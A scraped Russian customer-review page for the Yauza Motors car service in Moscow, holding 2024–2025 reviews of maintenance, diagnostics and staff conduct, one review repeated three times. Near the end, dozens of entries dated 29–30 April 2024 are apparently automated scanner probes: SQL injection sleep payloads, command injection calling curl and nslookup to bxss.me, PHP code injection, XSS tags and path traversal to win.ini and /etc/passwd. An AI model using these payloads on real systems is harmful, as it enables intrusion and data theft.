11.июл.2025
Костя
Очень плохой автосервис с хамским обращением с клиентами. Обратившись по телефону с прохождением то на автомобиль Geely Atlas Pro по телефону объяснили что с расходниками автосалона будет стоить 12 000 объяснив что расходники будут свои мне в ответ сказали то что услуга составит в районе 3000 руб. далее записался на прохождение приехав нужное время начал беседу с мастером на слова выставите печати в сервисную книгу о прохождении ту на что мне было отвечено что он поставит в сервисной книжке отметку что была замена масла и после этого начались словесный перепалки я объясняю что мне нужно то мастер мне ответ говорит что обязательно должны быть их расходники и заданном вопросе начинает путаться мямлить отвечать в грубой форме на что я понял что этот автосалон просто развод никакого отношения к официальному му дилеру Джил не имеет. Если вы дни делаете работы о прохождении то марки автомобилей Geely уберите тогда объявления с вашего сайта не вводите людей в заблуждение.
15.июн.2025
аноним
Самый криминальный автосервис, работают одни мошенники, накрутка ценника большая, сдерут с тебя в три дорого, и обдерут как липку. Никогда не признают свою ошибку будут всегда отказываться и говорить, что всё по вине водителя. Самый отвратительный автосервис. Все положительные отзывы заказные.
07.июн.2025
Роман
Гольф 6
Хочу выразить благодарность мастерам "Яуза Моторс" в Южном Бутово, которые работали с моим Гольфом. Как всегда оставлял машину на ТО + была сильная неисправность кондиционера. Разобрались, нашли и устранили проблему. Плюс помыли радиатор кондиционера. До этого прошлым летом/осенью дважды был на другом сервисе, где причину неисправности кондиционера найти не смогли.
Спасибо за качественную работу и внимание к клиенту! Всем мастерам! А также мастеру приемщику Александру и мастеру приемщику Геннадию!
04.июн.2025
Владимир
ФОРД ФЬЮЖЕН
Жалуюсь на обман мастера. В калькуляцию была включена проверка и регулировка углов установки колес на сумму 2599 руб. Изначально я предлагал не делать её, так как переднее правое колесо было запасной докаткой, т.е. размеры правой шины расходились с размерами левой. Мастер лукаво навязал регулировку схода развала по запасному колесу и включил 2599 руб. в общую стоимость работ. Тогда я предложил после замены шины приехать снова и бесплатно отрегулировать сход-развал, с чем и обратился сегодня к мастеру, так как имел место характерный шум трения правой шины о дорогу. Мастер отказался делать уже оплаченную работу бесплатно. Прошу руководителей разобраться с данным случаем лукавого обслуживания клиентов мастером Евгением.
22.мая.2025
Семен Сергеевич
рено сандеро
Попросил залить ОЖ с допуском Рено cool stream type D, приемщик по телефону пообещал. Залили какую то муть G11. Если нет у вас на складе нужной ОЖ, позвоните и скажите честно, зачем обманывать? Купил бы и привез для замены то, что мне нужно. При этом защиту картера не прикрутили нормально, громыхала сильно. В другом сервисе заменил ОЖ повторно. В итоге я потерял деньги, а вы доверие, очень жаль. Обслуживался у вас с 23г., но больше уже не буду
22.мая.2025
Светлана
Машина в ремонте с 4 мая, изначально сроки ремонта поставили до 10 мая. Сеголня 21 мая, прогноза по срокам ремонта нет. Внесена практически полная предоплата. В автосервисе "кормят завтраками". Никто и ни за что толком не отвечает. Детали заказать нормально не могут. Постоянно "приходят не те детали". Заявляют, что не вернут деньги. В итоге, ни денег, ни машины. Буду подавать заявление в Прокуратуру. Акты приемки автомобиля в ремонт не составляют, договоры не подвисывают -- проверим на соблюдение законодательства РФ. Планирую подать иск в суд на оплату пени за каждый день просрочки ремонта, а также судебных издержек (в том числе экспертизы автомобиля, оплату работы адвоката) и морального вреда.
16.мая.2025
Александр
Ниссан Тиранов 2
Всё супер, молодцы!
11.мая.2025
Вячеслав
Мицубиси Паджеро 3
Очень хороший сервис ,причину выявили и устранили быстро . Мне очень понравилось.Персонал очень культурный . Советую всем.
09.мая.2025
Александр
geely атлас про
09.05.2025 в данной компании проходил очередное ТО. Огромное спасибо мастеру за проделанную работу! Грамотный специалист, выполнил свою работу - все четко, быстро. Да еще и рекомендации дал по эксплуатации авто. Рекомендую!!
28.апр.2025
Иван
Nissan Qashqai
Приезжал 26 апреля на диагностику в 17:30 , изначально бы разговор что если найдут причину , то заплачу как за полную диагностику 5.400₽, а если нет, то возьмут как за обычную компьютерную . Как итог, сказали что нужно еще время и причина в проводке. Оставил до обеда следующего дня . Далее сказали датчики рабочие , проводка в норме, подозрение на блок АБС ( это мой первый запрос был при визите в сервис) , далее написали вердикт замена бока АБС. Сами они замену не делают. Я поезал в другой сервис , где люди перед заменой блока проверили еще раз датчики и выявили, что дело в них и в магнитном круге ступечного колеса . Не знаю в чем была проблема проверить это в Яузе ( со слов лучшие диагносты у них) , но по итогу я заплатил за полную диагностику, не получив никаких ответов . На телефон 2 дня не отвечают . Как то так, не советую . Плюс был только в том, что быстро записался на ближайшее время
27.апр.2025
Максим
SCODA OCTAVIA
День добрый.
Услуга простая - шиномонтаж. Ровно в 09:00 я передал машину Сергею для оказания простейшей услуги.
Он обещал, что через час машина будет готова. Но, к сожалению, машина не была готова. Это не являлось для меня большой проблемой. Иные действия сотрудников у меня вызвали расстройство и недоумение:
- простейшая операция по смене шин выполнялась еще 40 минут, хотя за 1 час 40 минут можно поменять шины у 3 машин. В итоге даже не извинились за эту необоснованную задержку времени
- пропали две оригинальные VAG заглушки с болтов на колесах.
После предъявления устной претензии,- Сергей ответил, что якобы их не было в момент передачи машины на обслуживание. Но это голословное утверждение не является действительностью, ввиду того, что я самостоятельно осуществлял обзор колес и кузова 20 апреля.
За 11 лет владения машиной такого случая ни на одном шиномонтаже не было.
Я очень удивлен такому отношению к клиенту и расстроен.
Прошу Вас улучшить качество обслуживания и отношение к клиенту.
А колпачки я купил самостоятельно (правда китайские).
Спасибо.
16.апр.2025
Андрей
VW, TIGUAN (5N_)
Отзыв о ремонте автомобиля в автосервисе Яуза Моторс Бутово.
Хочу выразить огромную благодарность сотрудникам автосервиса за профессиональный и качественный ремонт моего автомобиля!
Была проведена полная диагностика электронной системы двигателя после падения его мощности, появления вибрации (дерганья) и нестабильной работы при скорости больше 100 км/ч. Проведена замена свечей и катушек зажигания. Сейчас машина просто летает!
Впечатления от работы:
Мастера – профессионалы! Все объяснили, показали проблемные места, дали рекомендации . Цены – не дешево конечно
02.апр.2025
Андрей
Цены улетели в космос. Год назад ремонтировался всё было бюджетно. Сегодня все работы подорожали в три- четыре раза! НЕ СОВЕТУЮ!
01.апр.2025
Олег
Хюндай Туссан
Пошёл на диагностику ходовой. Понимал что есть вопросы. Быстро нашли и сделали. Остался доволен. Ожидал, что подошёл срок замены колодок, сказали что всё нормально Спешил. Уехал. Всё отремонтировали быстро. Но остались сомнения по колодкам и дискам. Отзвонили из фирмы, сказал что с ремонтом вмё хорошо но есть сомнения. Позвонил директор Вячеслав, позвал на дополнительный бесплатный осмотр, где лично показал, что сомрения были напрасными. Всё увидел. Спасибо.
21.фев.2025
Евгений Трифонов
Хендэ IX-35
Сделано быстро и качественно. Спасибо
04.дек.2024
Андрей
Hyundai Creta
Огромное спасибо за работу и отношение к клиенту.,за скидки и за позитив. От техценра до ЖК,, Отрада,, плавность при переключении АКПП, звук работающих механизмов,, благородный,, у меня музыкальный слух, понизился на тон. ТО 6-расширеннре.Рекомендую.Здесь работают мастера.
03.дек.2024
Владимир
Опель Астра
17 ноября обратился в сервис "Яуза Моторс" на Электродной улице с просьбой установить новое стекло крышки багажника вместо разбитого и заменить масло в двигателе и фильтры, через два часа позвонил мастер Андрей и сказали, что можно пригнать машину до 19 часов.
На следующий день около пяти часов вечера позвонил мастер и сказал, что машина готова, я подъехал, осмотрел машину - всё хорошо, даже были вычищены из багажника осколки предыдущего битого стекла. В салоне сидения и руль были прокрыты плёнкой, чтобы не испачкались. Заменённые фильтры лежали в салоне, я их потом выбросил. Более того, заменили нерабочую лампу в одной фаре.
Результатом очень доволен, обслуживаюсь в этой фирме уже около десяти лет.
01.дек.2024
Андрей
Nissan Pathfinder
Всё быстро( запись,прием,работа),зап.
части в наличии, персонал вежливый внимательный, есть возможность поговорить с мастером напрямую-пожелания учитываются.
11.ноя.2024
Алёна
Opel Corca
Здравствуйте всем) я конечно не обслуживалась. Живу в Калининграде! Слежу за ребятами и даже пришлось писать консультироваться!!! Летом кипела машина и мастера не могли понять из за чего и термостат меняли и т.д. Молодцы мне подсказали куда посмотреть и какие болячки. Нашли устранили. Спасибо вам!
24.окт.2024
Валерий
Фольксваген Гольф 4
Записался на диагностику на утро
10:00 Мастеру приёмщику рассказал проблему автомобиля
а до этого приезда сделал диагностику в другом месте мне рассказали в чём причина , почему АКПП встала в аварийный режим всё услышал мастер приёмщик Алексей. Я уехал домой . Через какое-то время позвонил Алексей и сказал надо менять электромагнитный клапан что компютер показал ошибку.
Я спросил Алексея а где электромагнитный клапан стоит в автомобиле , он мне сказал что на верхней части двигателя но я ответил что какое значение играет этот клапан с АКПП хотя в электромагнитный клапан есть и не один в АКПП(соленоиды).
Мастера поменяли электромагнитный клапан находившийся на движке за 14000 ₽. и отдали авто сняв ошибку. А ошибка появилась снова и АКПП опять встала в аварийный режим. Приехал собратно к Алексею, взяли на диагностику после диагностики
озвучили приговор. Надо снимать АКПП и перебирать примерно за 200 000 рублей.
Хотя снимать ничего не надо просто слить масло и снять поддон АКПП и заменить электромагнитный клапан (соленоид) один. Сервис ЯузМотор полный отстой не рекомендую не профессионалы.
21.окт.2024
Олег
Kia Ceed
Заранее записался на шиномонтаж и сход-развал, сегодня 21.10 приехал к 11 часам, сказали 2-2,5 часа... Не позвонили, пришел в 14:30, а машину даже не собирались делать... Приемщик просто отдал ключи и все... без объяснений и извинений... Потеряно 4 часа... Больше сюда ни ногой, и знакомых которых направлял в ваш сервис, отговорю ехать в вашу шарашку... Конечно этот отзыв не появится на сайте, но может кто из руководства это случайно увидит.
09.окт.2024
Эдуард
Lada vesta cross универсал NG Универсал
Работы были произведены качественно ,мне понравилось
02.окт.2024
Хатира
TOYOTA RAV 4
Была в сервисе "Митино" Записалась в 13 часов , точь в точь по времени приняли работу. Меняли масло, фильтры и тд, комплексное ТО! За 2 часа закончили работу и сдали машину. Все сотрудники вежливые , приветливые . Мастер - приемщик Юрий- очень культурный , обходительный. Есть для ожидание кафе, где можно попить кофе и перекусить , висит ТВ. Если хотите , чтобы ТО проходило без всяких накрутки цен, без навязывания чего-либо, запишись именно ЯУЗАМОТОРС! Респект директору, что смог набрать профессионалов и организовать такой автосервисный центр!
30.сен.2024
Геннадий
Фольксваген Гольф
Сделали сход развал руль стоит не ровно по обращению отказались поправить только за полную сумму
28.сен.2024
Александр
Geely Coolray
Создал заявку, через autospot, на ТО-4 для своего автомобиля, представитель Яузамоторс перезвонил по заявке на ТО-4 и подтвердил стоимость работ. После проведения оплаты за выполненные работы, выяснилось что большая часть работ, таких как замена трансмиссионного масла, замена охлаждающей жидкости, замена топливного фильтра и др. работы по регламенту не выполнены. По квитанции в состав работ вошли: инспекции автомобиля, замена тормозной жидкости, замена свечей зажигания и Техмаксимум ТО (что туда входит непонятно, т.к. всё что хотели заменить (свечи и тормозную жидкость) прописали ранее). На вопрос: где обещанное ТО-4 по регламенту? Ответ: это и есть ТО, остальные работы по регламенту за отдельную плату. При этом информацию о прохождении ТО-4 в сервисной книжке прописали.
23.сен.2024
Денис
Haval F7
Проходил ТО-3 - в приницпе все вроде бы не плохо. Но есть как говорится к чему стремится.
1. И самое главное - я записан на 12 часов, и считаю что говорить что ТО будет делаться больше 2 часов - клиенту - это нонсенс. Мое время так же стоит дорого как и Ваше. И я знаю что время на ТО даже со всеми нормо часами от 40 до 60 минут! по крайне мере первые 4 ТО. И объяснять это тем что у Вас много машин на ремонте по объективным причинам, мягко говоря не профессионально - меня как клиента не должно волновать что кто то привез не ту деталь или еще какие либо причины. Если я записан на определенное время - будьте любезны - примите и отремонтируйте машину именно в это время - а нет - так уведомляйте заранее что не можете - тогда я сам решу приехать к Вам позже или поменять сервис.
2. Камера в рем. зоне конечно - весьма удачное решение - но их должно быть не одна! и как вариант - Вам идея от меня что бы человек мог смотреть за своей машиной в приложении - клиенту приятно Вам бонус за внимательность к клиентам. Так как большинство людей не любят оставлять свое авто в неизвестность) даже на сервисе. При нынешних IP технологиях сделать подобное не трудно.
04.сен.2024
Шамиль
Был записан на 16:00, приехал в 15:35, не поднимая глаз посоветовали пройти в комнату ожидания... Смотрел телевизор до 16:40, при этом никто даже не подошёл не объяснил причину задержки. Прошёл мимо сотрудников к выходу, попрощаля. Решил досматривать телевизор ДОМА. Никогда больше!!!
27.авг.2024
Александр
Мастер Максимка, тупой как пробка. С клиентами общаться не умеет совсем! Нужно учить!
10.авг.2024
Сергей Афонин
Очень.плохо.нижи.плинтуса
28.июл.2024
Борис
Яуза мотрос автосервис машину на ремонт сдавал после диогностика машина не завелас плохой отношения Клиентам по срокам обманывает есть там менеджер Александр не рекомендую
23.июл.2024
Евгений
rodius ssangyong
НЕ рекомендую, по телефону услышав что требуется диагностика сразу сообщили что ничем не поможем извините. Будьте бдительны сервис рассчитан на только на ТО и устранение легких неисправностей не требующих диагностики и квалификации...
19.июл.2024
Александр
Renault Sandero
Заехал на диагностику с практически неработающим ЭБУ. Результат -за полчаса найдена и устранена неисправность, двигатель после этого просто запел. Огромное спасибо всем работникам. Также остался весьма доволен вполне вменяемыми ценами, значительно ниже чем у официального дилера.
17.июл.2024
Наталья
Делала регламентное ТО на автомобиль Хавал Джулион. Записали на удобное для меня время, встретили ровно по времени, очень вежливые и доброжелательные сотрудники. Цена ьдешевле, чем у официалов, в подарок сделали диагностику автомобиля. Всё отлично. Спасибо всём сотрудникам, кто принимал участие в работе.
17.июл.2024
Валерий
Джиили Атлас Джиили Атлас
17 июля 2024 г. согласно предварительной записи на 12 часов я приехал за 30 минут до назначенного времени в автоцентр и сдал документы с автомобилем мастеру Петухову А.А. для проведения ТО. Со слов мастера на данное ТО уйдёт 3-4 часа и я уехал. Приехав в 15-40 в автоцентр, я увидел, что автомобиль не трогался с того места на котором я его оставил. На моё возмущение о халатном отношении к работе, Петухов А.А. заявил, что сегодня все места до настоящего времени заняты и мне надо ждать, но с этого момента он засуетился и сказал, что предпримет меры для постановки автомобиля в зону ремонта. Пока я находился в зоне ожидания в разговорах с другими клиентами я понял, что таких возмущённых кака я был не один. Вывод: отсутствие контроля за планированием предстоящих работ (ТО, ремонт а/м и др.) со стороны руководителя филиала, плохая логистика по доставке вновь поступивших заявок по отсутствию з/ч в данном филиале, безобразное отношение к клиентам оказавшихся в такой ситуации (вместо извинений -хамство через край). При таком отношении вы растеряете всю клиентуру. О принятых мерах сообщить по указанному адресу :
help063@yandex.ru)
15.июл.2024
Павел
Лада Веста
Добрый день. Прошу пока не публиковать отзыв. Меня интересует частичное возмещение денежных средств по некачественно выполненной работе. А именно, обратился с тем, что подтекает соединение между нижней трубкой и радиатором кондиционера, мне сделали замену уплотнительного кольца, после чего я заметил, что подтекание стало еще сильнее, чем было. Съездил в другой сервис, где специализируются на кондиционерах. При снятии трубки мастер сразу сказал, что у вас поставили уплотнительное кольцо тоньше, чем должно быть. В связи с дополнительными затратами и не решенной проблемой, прошу вернуть сумму в размере 5890 рублей за некачественно выполненную работу. Сумму за хладагаент, масло и расходные материалы в размере 718,48 рублей не требую.
07.июл.2024
Светлана
Ранее писала негативный отзыв на работу сервиса : чтобы решить возникшую проблему приехала в сервис - вежливый сотрудник отложил дела и пошел со мной проверить масло и убедиться, что всё в порядке - объяснил и показал наглядно состояние и цвет масла. Так что у меня претензий к сервису нет и следующее ТО буду проходить также в Яуза-Моторс! Спасибо большое сотрудникам, что реагируете на претензии и жалобы!
01.июл.2024
Светлана
Проходила в декабре ТО в сервисе в Митино как обычно всё что нужно по списку : замена масла, всех фильтров тд. В конце июня проходила диагностику ходовой и тормозной в другом сервисе, так сказали, что масло снова под замену - уже темное!!! Пробег за 1 год обычно 10 -10.5 тыс км, за полгода прошла 5 000 км, как могло масло уже стать темным??? большой вопрос теперь к ЯузеМоторс - как они меняют масло и вообще делают свою работу за которую получают деньги!!!
20.июн.2024
Константин
ниссан х трейл
Добрый день,надеюсь мой отзыв поможет вам не тратить свое время на этот "автосервис", возможно , в моем случае сыграл роль, так называемый человеческий фактор. Итак, я записался на замену масла и фильтров через сайт автоспот 18 июня , приятный на другом конце провода Дмитрий, четко и вежливо все объяснил и ответил на все мои вопросы, я был приятно удивлен, что за 8500, яузамоторс на волгоградке предлагает поменять масло и фильтры, плюс в подарок проведет диагностику подвески, естественно я согласился принять участие в такой замечательной акции и попросил Дмитрия меня записать на ближайшее время. Я записался на 16.00 на 19 июня, следующий день. Предвкушение хорошего сервиса закончилось , как только я переступил порог мини офиса на Михайловском, на мой вопрос, про Дмитрия, два мужчины в рубашках, как то небрежно обозвали своего коллегу в стиле: "аа..этот писарь", сказали ждать некоего Юрия и продолжая материться, аж резало уши, обсуждали , кто сколько заработал на каких то лампочках. Очень быстро появился Юрий, что приятно порадовало, но радость быстро закончилась, так как Юрий Потапов начал опровергать договоренности с Дмитрием, начались прибавки к оговоренной цене, но это не самое важное, чашу неприятия переполнил тон общения Юрия со мной , в формате а вы чего тут хотели за 8500 и диагностику и чтоб вас сразу на подъемник , а еще неизвестно есть ли запчасти и вообще у меня еще машины перед вами стоят которые ждут. То есть за 10 минут Юрий меня обвинил, в том , что это я виноват в их бездарной организации работы, а я тут записался и приехал за эти деньги получить услугу,как мне обещали по телефону. Не пишу все детали диалога с этим мега "специалистом" готов дать обратную связь по телефону. После слов Юрия о том, что мне нужно оставить машину, так как еще нужно проверить наличие запчастей ,(везде это выясняется на момент записи клиента), плюс еще перспектива того , что машина останется на сервисе на неопределенное время, желание оставаться там у меня пропало.
14.июн.2024
Максим
Господа, оставляю отзыв в качестве обратной связи. В прошлый раз были проблемы с записью на ремонт автомобиля. Я оставил отзыв и занялся своими делами. В принципе сделали нормально все в конце концов.
Сейчас попытался записаться на ТО но ни через форму, ни по прямому звонку никто не отвечает.
Очень необычно наблюдать такое отношение к клиенту.
Всех благ.
03.июн.2024
Иван
Ниссан Мурано
Здравствуйте.
Я был записан в Ваш сервис 01.06.2024 на 16:00.
По согласованию во время записи мне сказали, что я могу приехать утром и оставить машину.
Сначала мне пришлось ждать около часа. А потом Ваш дебил мастер отказался принимать машину, т.к. не нашёл моей записи.
Я потерял половину выходного дня из-за вашего нерадивого глупца.
Вы потеряли деньги, а я очень много времени.
03.июн.2024
Александр
Фольксваген Шаран
Приняли машину обманули по срокам, меняли ремень ГРМ не поменяли мой ремень не тот, даже не предложили свой вариант, меняли термостат за 10 000 хотя замена от 1500,машина так и греется и печка не работает, сказали долить антифриз и пузырик выйдет и она заработает,
31.мая.2024
Алексей
Лада Веста
20 мая оставил машину с задачей поменять датчик масла и сделать адаптацию сцепления, 21 мая забрал. 30 мая на трассе сцепление покинуло чат. Дозвонится до сервиса с 19 часов пытался безрезультатно.
21.мая.2024
Тельман
Фольксваген Тигуан
Молодцы. Быстро приняли, честно продиагностировали, помогли в решении вопроса.
20.мая.2024
Алексей
Nissan
никогда не писал отзывы, но тут знатно пригорело, приемщик крайне компетентный человек, все как полагается, на этом плюсы все закончились, просил оставить после ТО свечи, фильтры и т.д, прям вот несколько раз просил, и как понять что же сделал мастер, конечно же все выбросил, но потом о чудо все нашли, но не мое и заверяли что мое, ладно как бы что с них взять, но вот лето и стало жарко, решил опробовать новый фильтр, запах не передать словами, сказать что мастера в шутку запихнули мусор со стройки и трупы крыс, значит насказать ничего, при этом в феврале проверяли кондиционер, такого не было блевотного запаха, прям от души хочется чтоб сервис с такими крайне интересными индивидами сгорел к чертовой бабушке, да и еще меняли масле в вариаторе, есть огромные подозрения что просто взяли денег и ничего не делали !!!!
08.мая.2024
Инна
Рено Clio
Проходила техническое обслуживание в Яуза Моторс в течении 6-7 лет. Качество обслуживания устраивало. Но в этом году ситуация изменилась кардинально. Попросила поменять зимнюю резину на летнюю. Когда приехала домой после технического обслуживания, обнаружила что один болт был перетянут и сломался. Поставила в известность менеджера Александра. Он предложил привезти машину в сервис Яуза Моторс и устранить неисправность. Я отказалась, так как считаю, что на 3 х болтах ехать опасно. Сервис находится достаточно далеко от дома. Договорились с Александром, что я отремонтирую машину около дома, привезу подтверждающие документы по данному ремонту, и Яуза Моторс мне компенсирует расходы. По этому вопросу было несколько телефонных разговоров с менеджером Александром и с директором офиса, был согласован день и время встречи. Когда в назначенное время я приехала в офис, меня пригласили к директору и в крайне грубой форме отказали в компенсации расходов, мотивируя это тем, что я должна была привезти машину для ремонта к ним в офис, используя эвакуатор, если считаю, что ехать на 3 болтах опасно. Директор разговаривал со мной по хамски... Предложил компенсировать расходы в будущем.. Но дальше проходить сервисное обслуживание автомобиля пи таком отношении к клиентам я считаю невозможно!!!
08.мая.2024
Инна
Рено Clio
Проходила техническое обслуживание в Яуза Моторс в течении 6-7 лет. Качество обслуживания устраивало. Но в этом году ситуация изменилась кардинально. Попросила поменять зимнюю резину на летнюю. Когда приехала домой после технического обслуживания, обнаружила что один болт был перетянут и сломался. Поставила в известность менеджера Александра. Он предложил привезти машину в сервис Яуза Моторс и устранить неисправность. Я отказалась, так как считаю, что на 3 х болтах ехать опасно. Сервис находится достаточно далеко от дома. Договорились с Александром, что я отремонтирую машину около дома, привезу подтверждающие документы по данному ремонту, и Яуза Моторс мне компенсирует расходы. По этому вопросу было несколько телефонных разговоров с менеджером Александром и с директором офиса, был согласован день и время встречи. Когда в назначенное время я приехала в офис, меня пригласили к директору и в крайне грубой форме отказали в компенсации расходов, мотивируя это тем, что я должна была привезти машину для ремонта к ним в офис, используя эвакуатор, если считаю, что ехать на 3 болтах опасно. Директор разговаривал со мной по хамски... Предложил компенсировать расходы в будущем.. Но дальше проходить сервисное обслуживание автомобиля пи таком отношении к клиентам я считаю невозможно!!!
08.мая.2024
Инна
Рено Clio
Проходила техническое обслуживание в Яуза Моторс в течении 6-7 лет. Качество обслуживания устраивало. Но в этом году ситуация изменилась кардинально. Попросила поменять зимнюю резину на летнюю. Когда приехала домой после технического обслуживания, обнаружила что один болт был перетянут и сломался. Поставила в известность менеджера Александра. Он предложил привезти машину в сервис Яуза Моторс и устранить неисправность. Я отказалась, так как считаю, что на 3 х болтах ехать опасно. Сервис находится достаточно далеко от дома. Договорились с Александром, что я отремонтирую машину около дома, привезу подтверждающие документы по данному ремонту, и Яуза Моторс мне компенсирует расходы. По этому вопросу было несколько телефонных разговоров с менеджером Александром и с директором офиса, был согласован день и время встречи. Когда в назначенное время я приехала в офис, меня пригласили к директору и в крайне грубой форме отказали в компенсации расходов, мотивируя это тем, что я должна была привезти машину для ремонта к ним в офис, используя эвакуатор, если считаю, что ехать на 3 болтах опасно. Директор разговаривал со мной по хамски... Предложил компенсировать расходы в будущем.. Но дальше проходить сервисное обслуживание автомобиля пи таком отношении к клиентам я считаю невозможно!!!
01.мая.2024
Александр Валентинович
ССанг Енг Актион
Много лет сотрудничаю с данной компанией. Как всегда, все четко и качественно. Отдельная благодарность мастеру Евгению за добросовестное и профессиональное отношение к работе с клиентами. Спасибо!
30.апр.2024
Владимир
Ситуация следующая:
Записался через колл центр на время. Приехав, обнаружил, что меня не готовы принять. Спустя 45 минут ожидания, после настойчивой просьбы, Ольга на ресепшене смогла привести мне мастера-приёмщика Евгения.
В ходе разговора выяснилось, что сервис полностью занят и взять машину в работу ранее следующего дня они не смогут.
Остался в большом недоумении от работы колл центра, сервиса Яуза Бутово.
Отдельно хочу заметить, что лично к Евгению и Ольге у меня нет замечаний. Все 45 минут Евгений действительно общался с клиентами, которые ему звонили. Очень заметно насколько он перегружен и уже не справляется с количеством задач.
30.апр.2024
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
30.апр.2024
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
30.апр.2024
1eXBWa5zh')) OR 112=(SELECT 112 FROM PG_SLEEP(15))--
30.апр.2024
1xFPOazTD') OR 205=(SELECT 205 FROM PG_SLEEP(15))--
30.апр.2024
116oTQKVI' OR 647=(SELECT 647 FROM PG_SLEEP(15))--
30.апр.2024
1-1)) OR 229=(SELECT 229 FROM PG_SLEEP(15))--
30.апр.2024
1-1) OR 100=(SELECT 100 FROM PG_SLEEP(15))--
30.апр.2024
1-1 OR 264=(SELECT 264 FROM PG_SLEEP(15))--
30.апр.2024
1P25TVOX5'; waitfor delay '0:0:15' --
30.апр.2024
1-1 waitfor delay '0:0:15' --
30.апр.2024
1-1); waitfor delay '0:0:15' --
30.апр.2024
1-1; waitfor delay '0:0:15' --
30.апр.2024
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
30.апр.2024
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
30.апр.2024
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
30.апр.2024
1*if(now()=sysdate(),sleep(15),0)
30.апр.2024
-1" OR 2+180-180-1=0+0+0+1 --
30.апр.2024
-1' OR 2+613-613-1=0+0+0+1 or 'UPSNaPqr'='
30.апр.2024
-1' OR 2+455-455-1=0+0+0+1 --
30.апр.2024
-1 OR 2+173-173-1=0+0+0+1
30.апр.2024
-1 OR 2+881-881-1=0+0+0+1 --
29.апр.2024
&(nslookup${IFS}-q${IFS}cname${IFS}hithfsjuwlpqy425d9.bxss.me||curl${IFS}hithfsjuwlpqy425d9.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hithfsjuwlpqy425d9.bxss.me||curl${IFS}hithfsjuwlpqy425d9.bxss.me)&`'
29.апр.2024
|(nslookup${IFS}-q${IFS}cname${IFS}hitybvtgpjckz5cc09.bxss.me||curl${IFS}hitybvtgpjckz5cc09.bxss.me)
29.апр.2024
;(nslookup -q=cname hitgmyywfnlsj0816d.bxss.me||curl hitgmyywfnlsj0816d.bxss.me)|(nslookup -q=cname hitgmyywfnlsj0816d.bxss.me||curl hitgmyywfnlsj0816d.bxss.me)&(nslookup -q=cname hitgmyywfnlsj0816d.bxss.me||curl hitgmyywfnlsj0816d.bxss.me)
29.апр.2024
`(nslookup -q=cname hitudsfqbhamacb830.bxss.me||curl hitudsfqbhamacb830.bxss.me)`
29.апр.2024
|(nslookup -q=cname hitpldinjypjg1ad8f.bxss.me||curl hitpldinjypjg1ad8f.bxss.me)
29.апр.2024
&(nslookup -q=cname hitmzmavoaacb5e8ac.bxss.me||curl hitmzmavoaacb5e8ac.bxss.me)&'\"`0&(nslookup -q=cname hitmzmavoaacb5e8ac.bxss.me||curl hitmzmavoaacb5e8ac.bxss.me)&`'
29.апр.2024
&nslookup -q=cname hithjltwhmsfwce9f4.bxss.me&'\"`0&nslookup -q=cname hithjltwhmsfwce9f4.bxss.me&`'
29.апр.2024
$(nslookup -q=cname hitwamerjmcdm05ca7.bxss.me||curl hitwamerjmcdm05ca7.bxss.me)
29.апр.2024
(nslookup -q=cname hitfjwraawomi03c0b.bxss.me||curl hitfjwraawomi03c0b.bxss.me))
29.апр.2024
|echo klevoe$()\ nbyqyp\nz^xyu||a #' |echo klevoe$()\ nbyqyp\nz^xyu||a #|" |echo klevoe$()\ nbyqyp\nz^xyu||a #
29.апр.2024
'"()&%<zzz><ScRiPt >u8qe(9157)</ScRiPt>
29.апр.2024
1'"()&%<zzz><ScRiPt >u8qe(9456)</ScRiPt>
29.апр.2024
&echo lyywkg$()\ prtfho\nz^xyu||a #' &echo lyywkg$()\ prtfho\nz^xyu||a #|" &echo lyywkg$()\ prtfho\nz^xyu||a #
29.апр.2024
echo npwhuc$()\ rrhciv\nz^xyu||a #' &echo npwhuc$()\ rrhciv\nz^xyu||a #|" &echo npwhuc$()\ rrhciv\nz^xyu||a #
29.апр.2024
"||sleep(27*1000)*zswnhs||"
29.апр.2024
'||sleep(27*1000)*axtrfc||'
29.апр.2024
"&&sleep(27*1000)*npalom&&"
29.апр.2024
'&&sleep(27*1000)*heynfv&&'
29.апр.2024
'.print(md5(31337)).'
29.апр.2024
${@print(md5(31337))}\
29.апр.2024
${@print(md5(31337))}
29.апр.2024
";print(md5(31337));$a="
29.апр.2024
';print(md5(31337));$a='
29.апр.2024
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
29.апр.2024
WEB-INF\web.xml
29.апр.2024
WEB-INF/web.xml
29.апр.2024
bxss.me/t/xss.html?%00
29.апр.2024
HttP://bxss.me/t/xss.html?%00
29.апр.2024
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
29.апр.2024
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
29.апр.2024
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
29.апр.2024
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
29.апр.2024
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
29.апр.2024
gethostbyname(lc('hitnc'.'dwdszpwpc6827.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(86).chr(112).chr(67)
29.апр.2024
/../../../../../../../../../../boot.ini
29.апр.2024
".gethostbyname(lc("hitae"."rlbyhohw145d1.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(76).chr(104).chr(84)."
29.апр.2024
../../../../../../../../../../windows/win.ini%00.jpg
29.апр.2024
'.gethostbyname(lc('hitpa'.'gnzdyuudbf586.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(84).chr(99).chr(76).'
29.апр.2024
C:\WINDOWS\system32\drivers\etc\hosts
29.апр.2024
/WEB-INF/web.xml
29.апр.2024
c:/windows/win.ini
29.апр.2024
http://bxss.me/t/fit.txt%3F.jpg
29.апр.2024
/\../\../\../\../\../\../\../etc/passwd
29.апр.2024
Http://bxss.me/t/fit.txt
29.апр.2024
file:///etc/passwd
29.апр.2024
